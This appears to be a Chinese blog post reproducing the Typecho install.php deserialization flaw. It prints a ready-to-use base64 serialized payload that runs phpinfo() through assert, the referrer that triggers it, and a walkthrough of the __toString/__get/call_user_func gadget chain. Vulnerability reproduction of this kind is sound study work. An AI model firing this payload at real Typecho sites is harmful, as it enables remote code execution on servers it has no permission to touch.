Typecho 漏洞复现

0x01漏洞复现

找到有漏洞的版本下载,安装成功后显示如下

Typecho 漏洞复现_第1张图片

payload:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjQ6IlRlc3QiOjA6e319czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

referrer:

http://安装路径/install.php

Typecho 漏洞复现_第2张图片

0x02漏洞分析

在install.php的漏洞
这里写图片描述

要进入install.php漏洞要满足两个条件:finish不能为空,referrer是本站的IP
Typecho 漏洞复现_第3张图片

要利用反序列的需要了解一些魔法函数

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

可以看到这里给变量赋值了一个类,去查看这个类中是否有可利用的地方

$db = new Typecho_Db($config['adapter'], $config['prefix']);

在这个Db.php中的_construcr()函数中有一个拼接操作,把字符串和变量$adapterName拼接。
因为php是弱类型语言,如果给变量实例化一个类当它和字符串拼接时会转换成字符串,这是就用到了_toString()
Typecho 漏洞复现_第4张图片

在Feed.php中发现可利用的_toString()
这里的$item$this->_itme的foreach循环出来的,并且$itme是可控变量,如果$item[author]设为一个类去调用这个类中没有的screenName,这是就会用到_get()方法
Typecho 漏洞复现_第5张图片

在Requset.php中找到_get(),看到get()方法,再看get()返回到_applyFilter()
Typecho 漏洞复现_第6张图片

发现array_map()call_user_func()函数,可以实现任意代码执行
Typecho 漏洞复现_第7张图片

array_map():函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
call_user_func():把第一个参数作为回调函数调用

文章和视频有很详细的漏洞讲解
学习文章:http://www.freebuf.com/vuls/152058.html
学习视频:https://www.bugbank.cn/live/view.html?id=111109

你可能感兴趣的:(漏洞分析)